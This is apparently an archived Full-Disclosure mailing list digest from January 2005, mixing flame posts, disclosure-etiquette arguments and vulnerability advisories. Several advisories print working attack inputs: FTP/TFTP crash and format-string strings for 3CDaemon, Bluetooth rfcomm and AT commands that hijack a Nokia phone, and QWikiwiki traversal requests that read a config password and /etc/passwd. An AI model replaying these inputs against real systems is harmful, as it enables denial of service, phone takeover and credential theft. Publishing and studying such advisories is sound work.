http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050104/27669f42/attachment.html -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: audio/x-wav Size: 31744 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050104/27669f42/attachment.wav From jan.m.clairmont at citigroup.com Tue Jan 4 14:48:08 2005 From: jan.m.clairmont at citigroup.com (Clairmont, Jan M) Date: Tue, 4 Jan 2005 09:48:08 -0500 Subject: [Full-Disclosure] This sums up Yahoo!s securitypolicyto a -T- Message-ID: I love it when self-proclaimed luzer's claim to own anything. What do they claim to own a couple of old ladies, children's or unprotected files on some pc's. Wow daddy stand back in awe, this luzer hacked a child's pc and gets to play on their 33.4K baud connection, so impressive.8-> Why don't you try to create something useful for society, like a new video game or a better spreadsheet, because in reality, you can't even do that. Happy new year luzers get out of your mother's basement and put your pajama's on, you're busted. Jan Clairmont Firewall Administrator/Consultant From: full-disclosure-bounces at lists.netsys.com [mailto:full-disclosure-bounces at lists.netsys.com]On Behalf Of n3td3v Sent: Saturday, January 01, 2005 5:26 AM To: full-disclosure at lists.netsys.com Subject: Re: [inbox] Re: [Full-Disclosure] This sums up Yahoo!s securitypolicyto a -T- On Fri, 31 Dec 2004 22:01:52 -0500, Exibar wrote: > Heck, they probably already have their son's account information anyway... > I'm sure that someone, somewhere, hacked his account and gave them the > information. Or maybe they just guessed the PW.... > > Ex Because we all know Yahoo! has no account security, so kids aged 15 can hack an account. Yahoo! is like hacking for beginners. Its easy to do, and therefore a great network to learn skills.. bravo Yahoo!, you have a use after all. n3td3v owns you all, even you self proclaimed and so-called experts and professionals. *makes rude hand jestures* ;-) _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html From smaillist at gmail.com Tue Jan 4 10:23:06 2005 From: smaillist at gmail.com (Sowhat .) Date: Tue, 4 Jan 2005 18:23:06 +0800 Subject: [Full-Disclosure] 3Com 3CDaemon Multiple Vulnerabilities Message-ID: 3Com 3CDaemon Multiple Vulnerabilities By Sowhat 04.JAN.2005 http://secway.org/advisory/ad20041011.txt [I.T.S] Security Research Team Product Affected: 3Com 3CDaemon 2.0 revision 10 Vendor: www.3Com.com (1) BACKGROUD 3CDaemon is a free popular TFTP, FTP, and Syslog daemon for Microsoft Windows platforms, developed by dan_gill at 3Com. For more information, http://support.3com.com/software/utilities_for_windows_32_bit.htm ftp://ftp.3com.com/pub/utilbin/win32/3cdv2r10.zip 3CDaemon is full of holes,ISS and Wang Ning has already reported some bugz about 3CDaemon (see: http://xforce.iss.net/xforce/xfdb/8970 http://www.securityfocus.org/bid/11944 ) And I doucument some other well-known bugz here again :) (2) Details Remote exploitation of Multiple vulnerabilities in the 3CDaemon allows attackers to execute arbitrary command as the user running 3CDaemon (usually Administrator).Some of these Vulnerabilities didnt need a valid username and password to login. There are several vulnerabilies 1.TFTP Reserved Device Name Denial of Service D:\WINDOWS\system32>tftp -i 192.168.0.1 get prn The 3CDaemon will be crashed with some msgs like "Microsoft Visual C++ Runtime library" "Runtime Error!" "Program : C:\Program Files\3Com\3CDaemon\3CDaemon.exe " "abnormal program termination". 2.FTP Username Format String vulnerability H:\>ftp 192.168.0.1 Connected to 192.168.0.1. 220 3Com 3CDaemon FTP Server Version 2.0 User (192.168.0.1:(none)): %n Connection closed by remote host. OR: H:\>ftp 192.168.0.1 Connected to 192.168.0.1. 220 3Com 3CDaemon FTP Server Version 2.0 User (192.168.0.1:(none)): %s 331 User name ok, need password Password:[anythinghere] 530 Login access denied Login failed. ftp> And then the 3CDaemon is dead. 3.FTP long Username Buffer overflow D:\WINDOWS\system32>ftp 192.168.0.1 Connected to 192.168.0.1. 220 3Com 3CDaemon FTP Server Version 2.0 User (192.168.0.1:(none)): 501 Invalid or missing parameters Login failed. ftp> user AAA..[about 241 A here]...AAAAA Connection closed by remote host. 4.Multiple FTP command long parameter Buffer overflow Including:cd,send,ls,,put,delete,rename,rmdir,literal,stat,CWD, and so on (Maybe this is what ISS's Advisory talking about) ftp> cd AAA..[about 398 A here]...AAAAA Connection closed by remote host. ftp> ftp> ls AAA..[about 247 A here]...AAAAA 200 PORT command successful. Connection closed by remote host. ftp> put 1.txt AAA..[about 247 A here]...AAAAA 200 PORT command successful. 532 Need account for storing files Connection closed by remote host. It seems that the length of the "A" is different from every command. 5.Multiple FTP command Format string Including:cd,delete,rename,rmdir,literal,stat,CWD, and so on 230 User logged in ftp> cd %n Connection closed by remote host. ftp> 6.Multiple FTP command Reserved Device Name Information Leak Including cd,and so on The following command will disclosure the physical path of the 3cdaemon ftp> cd aux 550 aux : C:/3cdaemon/aux is not a directory! ftp> cd lpt1 550 lpt1 : C:/3cdaemon/lpt1 is not a directory! and also ,CD an exsiting filename will disclosure physical path too. ftp> cd toolz.rar 550 toolz.rar : C:/3cdaemon/toolz.rar is not a directory! There are still some other boring bugz ,but it's enough : > (3) WORKAROUND Workaroud ? No...... (4) Vendor Response Since it seems that 3com didnt maintained 3CDaemon for a long long time ,I dint contact them :) http://secway.org Thank to all the members of ITS Security Team From venglin at freebsd.lublin.pl Tue Jan 4 13:46:19 2005 From: venglin at freebsd.lublin.pl (Przemyslaw Frasunek) Date: Tue, 04 Jan 2005 14:46:19 +0100 Subject: [Full-Disclosure] Re: Bluetooth: BlueSnarf and BlueBug Full Disclusore In-Reply-To: <41D52185.6050001@thebunker.net> References: <41D52185.6050001@thebunker.net> Message-ID: <41DA9E2B.4000908@freebsd.lublin.pl> Adam Laurie napisa?(a): > Details of the attacks were disclosed at the Chaos Computer Club's annual > congress in Berlin - 21C3: According to the [1], not all details were disclosed. Actually, there is no reason for keeping them secret here, while they are well known and actively exploited in the blackhat community. The Bluebug, as described on [1] is trivially exploitable on some non-Symbian Nokia phones. It allows attacker to create serial profile connection without pairing or asking for permission, therefore it gives unauthorized access to all AT commands. It is possible to read/delete/send SMS messages, add/view/delete phonebook entries, change call diverts, initiate voice or data call. Demonstration on Nokia 6310i: laptop:~# hcitool scan Scanning ... 00:60:57:38:8C:D8 Nokia 6310i laptop:~# rfcomm bind /dev/rfcomm0 00:60:57:38:8C:D8 17 Now you can use plain AT commands, as described in manual [2] or Gnokii [3], for example: laptop:~# cu -l rfcomm0 -s 9600 Connected. [ATE1] OK ATI Nokia OK AT+CPBS? +CPBS: "SM",0,100 OK AT+CPBR=? +CPBR: (1-100),48,18 OK ATDT+48609xxxxxx OK As you can see, the bug is really trivial and looks rather like backdoor. [1] - http://www.thebunker.net/security/bluetooth.htm [2] - http://ncsp.forum.nokia.com/download/?asset_id=11579;ref=devx [3] - http://www.gnokii.org/ -- * Fido: 2:480/124 ** WWW: http://www.frasunek.com/ ** NICHDL: PMF9-RIPE * * JID: venglin at jabber.atman.pl ** PGP ID: 2578FCAD ** HAM-RADIO: SQ8JIV * From sysadminkc at gmail.com Tue Jan 4 16:28:59 2005 From: sysadminkc at gmail.com (SysAdminKC) Date: Tue, 4 Jan 2005 10:28:59 -0600 Subject: [Full-Disclosure] Microsoft Windows BMP file buffer overflow In-Reply-To: <20050103202008.16428.qmail@web53701.mail.yahoo.com> References: <20050103202008.16428.qmail@web53701.mail.yahoo.com> Message-ID: <25b486eb0501040828525c6e07@mail.gmail.com> McAfee VirusScan Enterprise 7.0 with def's created on 12/29/04 (4417) detected the 'Exploit-LoadImgAPI' trojan. --Kendall "There is nothing worse than aggressive stupidity." -- Johann Wolfgang von Goethe On Mon, 3 Jan 2005 12:20:08 -0800 (PST), Chenghuai Lu wrote: > Double click the bmp file as attached in windows. > > > __________________________________________________ > Do You Yahoo!? > Tired of spam? Yahoo! Mail has the best spam protection around > http://mail.yahoo.com > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.netsys.com/full-disclosure-charter.html From y_avenger_y at ua.fm Tue Jan 4 12:01:20 2005 From: y_avenger_y at ua.fm (Alex V. Lukyanenko) Date: Tue, 4 Jan 2005 14:01:20 +0200 Subject: [Full-Disclosure] The Macallan mail solution 4.0.6.8 (Build 786) contains several vulnerabilities In-Reply-To: <000201c4ef34$600143d0$0201a8c0@CIRT> References: <000201c4ef34$600143d0$0201a8c0@CIRT> Message-ID: <458147347.20050104140120@ua.fm> Hello CIRT, DO you people think you digitally sign your correspondence by attaching a public key block to the end? EEEK! I prefer to stay quiet about using an insecure-unless-proven-otherwise type of MUA. Friday, December 31, 2004, 2:29:29 PM, you wrote: ... CA> X-Mailer: Microsoft Outlook, Build 10.0.4024 ... CA> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 ... CA> The Macallan Mail Solution are vulnerable to the problems shown below: CA> CA> "Macallan Mail Solution Web Interface Authentication Bypass" similar to CA> vulnerability reported earlier by Secunia CA> http://secunia.com/advisories/10861/ CA> CA> Denial of Service when requesting an overly long URL starting with an CA> interrogation mark on the web server CA> CA> CA> To read the full advisory goto http://www.cirt.dk CA> CA> Regards CA> Dennis Rand CA> http://www.cirt.dk CA> CA> -----BEGIN PGP PUBLIC KEY BLOCK----- CA> Version: PGP 8.0 CA> CA> mQGiBEAf2xcRBADMrO7uP0dJq1ZsXkLZLqEhz58LL77qLbXOMNoDRkAo+4MTZoZC CA> WMNkZsx3D5tbou4KJZCnayt0PFjymyYLsOJ6WauTfXOLA/L+sXTJCa7vSsWwlcQW CA> m01uy0+djp3XumGHkWdWXvu5cXm7y+UjsF5iiQV8X9EGR18ApoCzA/mi/QCg/zzf CA> Kw9x7XXGi1pLTpUBI/BvaRkD/2pZf4NLsF7TcCT/rDcNexxr5Ci9xHfglBFKUcQK CA> 9NnF/umLLM3PVyFk8zl7Ra2d8rvPzhDdIi+VGu0Flv5ckRRhiu9A4sOE6zbTkv3f CA> Q+je/ynnpl36OLswYG+iCELZqzOssRUTe4m9nSeJrbvtyFkW7I/UrBkfursed6yD CA> vzVDA/4mrWEWgjZkO4wEefwg6FOXr2dChGmdoVXaDyKuQ89hp99THPIALjnorNQK CA> 91IbzyJGX+HaU/KyfKgQfeEEd4znfi9EEaDNDzQmbCntmmCq2PAN0OOcqm4lVNOi CA> CzEDvsweRxGdffQA+aoNjqeACL1YmPNnTWeNeMNYN7kYD9sTJrQgQ0lSVCBBZHZp CA> c29yeSA8YWR2aXNvcnlAY2lydC5kaz6JAFgEEBECABgFAkAf2xcICwkIBwMCAQoC CA> GQEFGwMAAAAACgkQX3fRHNAOUc+KAQCfUD3uwuQmiZjUNXmcKyzXVWFni7cAniIS CA> fmTQMRf3rIs6kKmSXfnfrXG+uQINBEAf2xcQCAD2Qle3CH8IF3KiutapQvMF6PlT CA> ETlPtvFuuUs4INoBp1ajFOmPQFXz0AfGy0OplK33TGSGSfgMg71l6RfUodNQ+PVZ CA> X9x2Uk89PY3bzpnhV5JZzf24rnRPxfx2vIPFRzBhznzJZv8V+bv9kV7HAarTW56N CA> oKVyOtQa8L9GAFgr5fSI/VhOSdvNILSd5JEHNmszbDgNRR0PfIizHHxbLY7288kj CA> wEPwpVsYjY67VYy4XTjTNP18F1dDox0YbN4zISy1Kv884bEpQBgRjXyEpwpy1obE CA> AxnIByl6ypUM2Zafq9AKUJsCRtMIPWakXUGfnHy9iUsiGSa6q6Jew1XpMgs7AAIC CA> B/98f1FQkSzTqoH80viqqJTj3xZVe7xi+n4g4Ji3zuHW+jsgg6SPZOykCDSuzTCO CA> hJ6LLnwFaqGGu2As7RaNd335P8rH1bLwWQMmIo+Kohj3Ya7cg6gPkkiMSZAIpdca CA> cXVbxtKZ05dxcixddO2/HOc84/1mR8ajIOsmFKl4DXJ9OwCglgh1i914rQLx5mei CA> K0XheewAT9eA13yPwbUR1EnormDdaz0USX3l5GBGgvHBO3Xy+muoL8Qzep4PIqfL CA> Eg18tNXh0vQzBGdmhAjdSVSnSMBts4D5K20HC2YvbdPzWjVeyKg+yTYl4r3r1D+x CA> vSPng/cCcSX1bESzjOMCE6PDiQBMBBgRAgAMBQJAH9sXBRsMAAAAAAoJEF930RzQ CA> DlHPdCgAn1jt7gbjHBTQLwTuZH6mpvOnWYs+AJ4sIPIoGz+6/YQLbWr1zXEbmKxo CA> CA== CA> =4wBy CA> -----END PGP PUBLIC KEY BLOCK----- CA> CA> _______________________________________________ CA> Full-Disclosure - We believe in it. CA> Charter: http://lists.netsys.com/full-disclosure-charter.html -- Alex V. Lukyanenko | 86195208 at icq | y_avenger_y at ua.fm From aluigi at autistici.org Tue Jan 4 18:57:43 2005 From: aluigi at autistici.org (Luigi Auriemma) Date: Tue, 4 Jan 2005 18:57:43 +0000 Subject: [Full-Disclosure] Socket termination, format string and XSS in Soldner Secret Wars 30830 Message-ID: <20050104185743.4e6bd4bf.aluigi@autistici.org> ####################################################################### Luigi Auriemma Application: S?LDNER - Secret Wars http://www.secretwars.net Versions: <= 30830 Platforms: Windows Bugs: A] silent socket termination B] in-game format string C] in-game cross site scripting versus admin Exploitation: remote, versus server (B and C are in-game bugs) Date: 04 Jan 2005 Author: Luigi Auriemma e-mail: aluigi at autistici.org web: http://aluigi.altervista.org ####################################################################### 1) Introduction 2) Bugs 3) The Code 4) Fix ####################################################################### =============== 1) Introduction =============== S?LDNER is a tactical military game developed by Wings Simulations (http://www.wingssimulations.com) and has been released in May 2004. ####################################################################### ======= 2) Bugs ======= ---------------------------- A] silent socket termination ---------------------------- The bug happens when the server receives an UDP packet of 1401 or more bytes causing the immediate termination of the listening thread for a bad handling of the "message too long" socket error. The termination of the socket is silent (no warning or messages) so the admin cannot easily understand what is happened. ------------------------ B] in-game format string ------------------------ An attacker can crash or execute remote code on the game server simply sending a message containing the format arguments (like the classical %n%n%n). -------------------------------------------- C] in-game cross site scripting versus admin -------------------------------------------- The S?LDNER server has a nice web interface (port 7890) useful for the remote administration of the servers. This web interface contains also a screen (chat) in which are shown all the server logs included the messages exchanged by the users that are not filtered and so an attacker can execute HTML or Javascript code in the admin's browser. ####################################################################### =========== 3) The Code =========== A] http://aluigi.altervista.org/poc/soldnersock.zip B] %n%n%n C] ####################################################################### ====== 4) Fix ====== No fix. No reply from the developers. ####################################################################### --- Luigi Auriemma http://aluigi.altervista.org From peteoswald at comcast.net Tue Jan 4 17:11:39 2005 From: peteoswald at comcast.net (Peter Oswald Jr.) Date: Tue, 4 Jan 2005 12:11:39 -0500 Subject: [Full-Disclosure] Mysql windows 4.1.8 build PATH mess-up Message-ID: <200501041715.j04HFmvO028383@lists.netsys.com> Not sure if this has already been posted, but when Mysql 4.1.8 is installed, it gives an option to add its bin directory to the PATH. I am new to this but I hope my explanation gets the point across. It modifies such an example path: PATH=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\Program Files\Microsoft Visual Studio\Common\Tools\WinNT;C:\Program Files\Microsoft Visual Studio\Common\MSDev98\Bin;C:\Program Files\Microsoft Visual Studio\Common\Tools;C:\Program Files\Microsoft Visual Studio\VC98\bin;C:\BC45\BIN to- PATH=%SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem;C:\Progra m Files\Microsoft Visual Studio\Common\Tools\WinNT;C:\Program Files\Microsoft Visual Studio\Common\MSDev98\Bin;C:\Program Files\Microsoft Visual Studio\Common\Tools;C:\Program Files\Microsoft Visual Studio\VC98\bin;C:\BC45\BIN It seems that %SystemRoot% does not get defined until a certain point (later than needed) in the Windows boot process, and causes the problem of the C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem directories not getting set in the PATH. For example, install Mysql 4.1.8 (windows build) and select the option to add to PATH, then reboot. Then try an "ipconfig" and it will say unrecognized command, as well as any other executables that are in the aforementioned directories. -Peter Oswald -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050104/f692877f/attachment.html From madelman at iname.com Tue Jan 4 19:31:41 2005 From: madelman at iname.com (Madelman) Date: Tue, 04 Jan 2005 20:31:41 +0100 Subject: [Full-Disclosure] QWikiwiki directory traversal vulnerability Message-ID: <41DAEF1D.5090907@iname.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Title: QWikiwiki directory traversal vulnerability Vulnerability discovery: Madelman Date: 01/01/2005 Severity: Critical Summary: - -------- QwikiWiki is driven by one core design goal: simplicity. This design goal is codified into three key principles: ~ Self Sufficiency: QwikiWiki requires only a web server and PHP. ~ Zero-Edit Deployment: QwikiWiki is immediately usable "out of the box". ~ Minimalist Featureset: QwikiWiki is not everything to everybody. QwikiWiki uses only cookies and the file system, and thus does not require a MySQL server or any other database support. Data is stored in simple text files, and backups are just complete copies of the data directory. Ain't nothing fancier than it need be. (from vendor site: http://www.qwikiwiki.com) QWikiwiki doesn't check the page parameter which allows reading any file This vulnerability has been tested with QWikiwiki 1.4.1 Details: - -------- If we want to read the password for QWikiwiki: REQUEST: http://[SERVER]/qwiki/index.php?page=../_config.php%00 RETURNS: (looking at source of HTML) [...] $QW_CONFIG['title'] = "QwikiWiki"; $QW_CONFIG['adminName'] = "David Barrett"; $QW_CONFIG['adminPassword'] = 'changeme!' We can also read any file the webserver has permission to: REQUEST: http://[SERVER]/qwiki/index.php?page=../../../../../../etc/passwd%00 RESPONSE: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh [...] Solution - -------- Temporary Fix In file _wikiLib.php substitute function QWCreateDataPath?( $page, $extension ) { return 'data/'. $page . $extension; } with function QWCreateDataPath?( $page, $extension ) { if (strpos($page, "..") === false) { ~ return 'data/'. $page . $extension; } else { ~ return ''; } } Timeline - -------- 01/01/2005 - Vulnerability found 01/01/2005 - Vendor contacted 01/01/2005 - Vendor confirmed bug 04/01/2005 - Bug published in vendor page and advisory released -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (MingW32) Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org iD8DBQFB2u8d3RWooxY20cIRArbIAJsEu1pSqJuHdYpWmOO76oHoTxcixACgj/sP BcUAER8m/maxIApdZEQ0MfA= =LZ+j -----END PGP SIGNATURE----- From Valdis.Kletnieks at vt.edu Sun Jan 2 02:59:42 2005 From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu) Date: Sat, 01 Jan 2005 21:59:42 -0500 Subject: [Full-Disclosure] Just a thought (from an autoreply to another thread) In-Reply-To: Your message of "Fri, 31 Dec 2004 23:14:43 EST." <41D623B3.7060104@rogers.com> References: <369C119BFEEC2A4697C7BDD62FF96107116159@naimucx4.muc.allianz> <41D623B3.7060104@rogers.com> Message-ID: <200501020259.j022xgcc026905@turing-police.cc.vt.edu> On Fri, 31 Dec 2004 23:14:43 EST, "Byron L. Sonne" said: > You know, people that set these auto-replies often give out a good > amount of information (of the social engineering kind and otherwise), if > someone were to apply themselves... I'm not sure which is worse, the fact that we all now know that his system is probably fair game for attack for another week, or that we now know that on Jan 9th, he's probably going to be piled under mail and not being quite as careful on what he opens. And I'd be amazed if the X-Mailer: header on his mail didn't list out what vulnerabilities it had (correlate build level to avisories.. ;) > Schwarzwaelder, Joerg wrote: > > I will not be in the office at least until January 9th, 2005. > > > > Please send > > - ssh, watchdog and hvu relocation issues to Alexander Bossert > > - firewall issues to "security-support at dregis.com" Hmm.. if he's usually the firewall issue person, it's likely that whoever is reading security-support's mail is *less* experienced. Hint: if the site *has* a security-support address, firewall issues should *always* be going there rather than to a specific user, for multiple reasons: 1) that way you know *somebody* will see it even if he's away from the office and not reading the mail 2) Checks and balances - it keeps him honest because if somebody notices a firewall issue that he created, he can't just hit delete and get away with it... -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 226 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050101/e3aba90f/attachment.bin From Valdis.Kletnieks at vt.edu Sun Jan 2 02:46:22 2005 From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu) Date: Sat, 01 Jan 2005 21:46:22 -0500 Subject: [Full-Disclosure] /bin/rm file access vulnerability In-Reply-To: Your message of "Thu, 30 Dec 2004 12:52:23 -0400." <007d01c4ee8f$ef38fd40$030a0a0a@captainwill> References: <20041230011825.21A116EEF6@ws1-5.us4.outblaze.com> <85f265f0412300445cc37697@mail.gmail.com> <007d01c4ee8f$ef38fd40$030a0a0a@captainwill> Message-ID: <200501020246.j022kM4g015059@turing-police.cc.vt.edu> On Thu, 30 Dec 2004 12:52:23 -0400, Jerry said: > I have to agree with Shane on this. The whole point of the admin a.k.a root > user is to have full control over everything. What's the point of that user > if it can't delete of stop a set process when required if some user orphans > something and can't get it back? If you are in an environment that cares about security, one user having full control is a Bad Thing. And it's not just military sites either - one of the first rules of accounting and auditing is that if one person is writing checks, somebody *else* actually balances the books. One common enhancement in Unix systems for high security is splitting out what userids can run what commands, and getting rid of the "root" user entirely. So for instance, one userid may be able to run the backup and restore commands, but nothing else. Meanwhile, you might have a "sysadmin" userid that can kill processes and remove temp files - but which *cannot* alter the system auditing settings - so if the sysadmin does something they shouldn't, it's in the audit trail where it will be seen by the security admin. -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 226 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050101/9927e054/attachment.bin From Valdis.Kletnieks at vt.edu Sat Jan 1 06:41:56 2005 From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu) Date: Sat, 01 Jan 2005 01:41:56 -0500 Subject: [Full-Disclosure] Multiple Backdoors found in eEye Products (IRIS and SecureIIS) In-Reply-To: Your message of "Thu, 30 Dec 2004 22:00:55 PST." <1104472854.2022.3515.camel@meposs> References: <200412291517.iBTFGsE6011085@lists.netsys.com> <1104472854.2022.3515.camel@meposs> Message-ID: <200501010641.j016fun7021362@turing-police.cc.vt.edu> On Thu, 30 Dec 2004 22:00:55 PST, "Daniel H. Renner" said: > Not to bash my own country here but, this leads to a question: How can > any security product, sub-product or service created in the U.S. hold > credibility even with the good intentions that the creators may have > originally had? "Open Source Software". That's how. (Making a workable *business model* for making money doing it is a *different* question. But you specifically asked "credibility"... ;) -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 226 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050101/bd029d14/attachment.bin From stevex11 at sbcglobal.net Tue Jan 4 21:11:36 2005 From: stevex11 at sbcglobal.net (Steve Kudlak) Date: Tue, 04 Jan 2005 13:11:36 -0800 Subject: [Full-Disclosure] list noise In-Reply-To: <010220051356.19809.41D7FD8300068D6E00004D6121612436460A900E0B0C0B@att.net> References: <010220051356.19809.41D7FD8300068D6E00004D6121612436460A900E0B0C0B@att.net> Message-ID: <41DB0688.5060908@sbcglobal.net> dcdave at att.net wrote: >I will NOT respond to this; >I will NOT respond to this; >I will Not respond to this; > >dcdave > >-- >CSO >InfoSec Group >703-626-6516 > > > -------------- Original message ---------------------- >From: phased > > >>I also care about noise, and responding to stupid mails makes it worse. >>Every time people send stupid mails like the rm file thing, and people reply to >>the list, the author was successful in filling the list with crap for a day or >>so. >> >>If no one replies, then they dont get attention and the people who know their >>advisories(anyone with common sense) are blatantly crap will not be affected by >>their nuisance. >> >>You always get a load of emails to the list from people who want to tell >>everyone they know that an advisory for example was crap, yes we know >>thank you, but we are not handing out gold stars today!!! >>No need to tell us all every time!!! >> >>phased >> >>-----Original Message----- >>From: Barrie Dempster >>To: full-disclosure at lists.netsys.com >>Date: Thu, 30 Dec 2004 09:36:07 +0000 >>Subject: RE: [Full-Disclosure] Multiple Backdoors found in eEye Products(IRISand >>SecureIIS) >> >> >> >>>I'd have to agree with the eEye statement on this one. You sent out an >>>advisory without disclosing the details, which offers no real benefit to >>>anyone. Many people consider this responsible disclosure but that also >>>requires you to notify the vendor (there were no @eeye.com's in your >>>"to" list but there were a couple of press mailboxes). >>> >>>You didn't contact eEye, you didn't release details, you used an >>>anonymous address and failed to mention or credit any of the other guys >>>in your "testing team", This can only lead us to believe that the >>>advisory is fake and only intended to generate bad press for eEye. I >>>personally don't care about eEye's PR rating but I do care about the >>>level of noise on these lists and I do care about backdoor-ed commercial >>>products that are in common use. You may have an issue with eEye and see >>>this as revenge. However, I doubt you also have an issue with the many >>>admins who probably have spent their holiday season investigating these >>>claims, when there are likely more pressing matters to address, such as >>>a large stock of alcohol. >>> >>>Show us details, or be quiet. If you intended to embarrass eEye the plan >>>backfired as any competent professional on this list (there are a few - >>>I've heard stories about them) would see this as a shameful attempt and >>>would be laughing at you, not eEye. >>> >>>Seasons greetings to eEye and all Full Disclosure subscribers - even you >>>"Lance Gusto". >>> >>>With Regards.. >>>Barrie Dempster (zeedo) - Fortiter et Strenue >>> >>> http://www.bsrf.org.uk >>> >>>[ gpg --recv-keys --keyserver www.keyserver.net 0x96025FD0 ] >>> >>> >>> >>> >>> >>>ATTACHMENT: application/pgp-signature ("signature.asc") >>> >>>_______________________________________________ >>>Full-Disclosure - We believe in it. >>>Charter: http://lists.netsys.com/full-disclosure-charter.html >>> >>> >>> >>> >>_______________________________________________ >>Full-Disclosure - We believe in it. >>Charter: http://lists.netsys.com/full-disclosure-charter.html >> >> > > >_______________________________________________ >Full-Disclosure - We believe in it. >Charter: http://lists.netsys.com/full-disclosure-charter.html > > > Neither Will I! Neither Will I! Neither Will I! Let it Die! Let it Die! Let it Die!;) Have Fun, Sends Steve From koon at gentoo.org Tue Jan 4 21:24:14 2005 From: koon at gentoo.org (Thierry Carrez) Date: Tue, 04 Jan 2005 22:24:14 +0100 Subject: [Full-Disclosure] [ GLSA 200501-01 ] LinPopUp: Buffer overflow in message reply Message-ID: <41DB097E.4030503@gentoo.org> - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 200501-01 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Severity: Normal Title: LinPopUp: Buffer overflow in message reply Date: January 04, 2005 Bugs: #74705 ID: 200501-01 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Synopsis ======== LinPopUp contains a buffer overflow potentially allowing execution of arbitrary code. Background ========== LinPopUp is a graphical application that acts as a frontend to Samba client messaging functions, allowing a Linux desktop to communicate with a Microsoft Windows computer that runs Winpopup. Affected packages ================= ------------------------------------------------------------------- Package / Vulnerable / Unaffected ------------------------------------------------------------------- 1 net-im/linpopup < 2.0.4-r1 >= 2.0.4-r1 Description =========== Stephen Dranger discovered that LinPopUp contains a buffer overflow in string.c, triggered when replying to a remote user message. Impact ====== A remote attacker could craft a malicious message that, when replied using LinPopUp, would exploit the buffer overflow. This would result in the execution of arbitrary code with the privileges of the user running LinPopUp. Workaround ========== There is no known workaround at this time. Resolution ========== All LinPopUp users should upgrade to the latest version: # emerge --sync # emerge --ask --oneshot --verbose ">=net-im/linpopup-2.0.4-r1" References ========== [ 1 ] CAN-2004-1282 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1282 [ 2 ] Stephen Dranger Advisory http://tigger.uic.edu/~jlongs2/holes/linpopup.txt Availability ============ This GLSA and any updates to it are available for viewing at the Gentoo Security Website: http://security.gentoo.org/glsa/glsa-200501-01.xml Concerns? ========= Security is a primary focus of Gentoo Linux and ensuring the confidentiality and security of our users machines is of utmost importance to us. Any security concerns should be addressed to security at gentoo.org or alternatively, you may file a bug at http://bugs.gentoo.org. License ======= Copyright 2004 Gentoo Foundation, Inc; referenced text belongs to its owner(s). The contents of this document are licensed under the Creative Commons - Attribution / Share Alike license. http://creativecommons.org/licenses/by-sa/2.0 -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 256 bytes Desc: OpenPGP digital signature Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050104/41534f97/attachment.bin From koon at gentoo.org Tue Jan 4 21:33:02 2005 From: koon at gentoo.org (Thierry Carrez) Date: Tue, 04 Jan 2005 22:33:02 +0100 Subject: [Full-Disclosure] [ GLSA 200501-02 ] a2ps: Insecure temporary files handling Message-ID: <41DB0B8E.30006@gentoo.org> - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 200501-02 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Severity: Normal Title: a2ps: Insecure temporary files handling Date: January 04, 2005 Bugs: #75784 ID: 200501-02 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Synopsis ======== The fixps and psmandup scripts in the a2ps package are vulnerable to symlink attacks, potentially allowing a local user to overwrite arbitrary files. Background ========== a2ps is an Any to Postscript filter that can convert to Postscript from many filetypes. fixps is a script that fixes errors in Postscript files. psmandup produces a Postscript file for printing in manual duplex mode. Affected packages ================= ------------------------------------------------------------------- Package / Vulnerable / Unaffected ------------------------------------------------------------------- 1 app-text/a2ps < 4.13c-r2 >= 4.13c-r2 Description =========== Javier Fernandez-Sanguino Pena discovered that the a2ps package contains two scripts that create insecure temporary files (fixps and psmandup). Impact ====== A local attacker could create symbolic links in the temporary files directory, pointing to a valid file somewhere on the filesystem. When fixps or psmandup is executed, this would result in the file being overwritten with the rights of the user running the utility. Workaround ========== There is no known workaround at this time. Resolution ========== All a2ps users should upgrade to the latest version: # emerge --sync # emerge --ask --oneshot --verbose ">=app-text/a2ps-4.13c-r2" References ========== [ 1 ] Secunia SA13641 http://secunia.com/advisories/13641/ [ 2 ] CAN-2004-1170 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1170 